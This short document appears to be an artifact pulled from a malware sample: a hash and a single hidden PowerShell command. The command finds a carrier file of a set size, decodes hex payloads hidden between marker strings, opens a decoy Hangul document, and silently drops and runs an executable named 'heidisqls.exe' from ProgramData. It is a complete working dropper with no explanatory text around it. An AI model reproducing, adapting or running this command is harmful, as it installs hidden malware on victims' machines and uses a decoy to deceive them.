4b945d82d21f35dd0f8c07568f47c4cf

powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command "$loc=Get-Location;$paths=@($env:TEMP,$loc);$sz=2116116;$f=Get-ChildItem -Path $paths -Recurse *.* -File -ErrorAction SilentlyContinue | Where-Object{$_.Length-eq $sz} | Select-Object -First 1 -Expand FullName;$raw=[IO.File]::ReadAllBytes($f);$t=[Text.Encoding]::ASCII.GetString($raw);$a=$t.IndexOf('NCFO');$b=$t.IndexOf('BCFO');$c=$t.IndexOf('SCFO');$d=$t.IndexOf('KCFO');$x=$t.Substring($a+4,$b-$a-4);$y=$t.Substring($b+4,$c-$b-4);$z=$t.Substring($c+4,$d-$c-4);function HX($s){$buf=New-Object byte[] ($s.Length/2);for($i=0;$i-lt$buf.Length;$i++){$buf[$i]=[Convert]::ToByte($s.Substring($i*2,2),16)}return $buf}[IO.File]::WriteAllBytes('c:\users\public\attach.hwp',(HX $x));Start-Process 'c:\users\public\attach.hwp';[IO.File]::WriteAllBytes('c:\programdata\heidi.db',(HX $y));[IO.File]::WriteAllBytes('c:\programdata\heidisqls.exe',(HX $z));c:\programdata\heidisqls.exe c:\programdata\heidi.db"

4b945d82d21f35dd0f8c07568f47c4cf > file_0.bin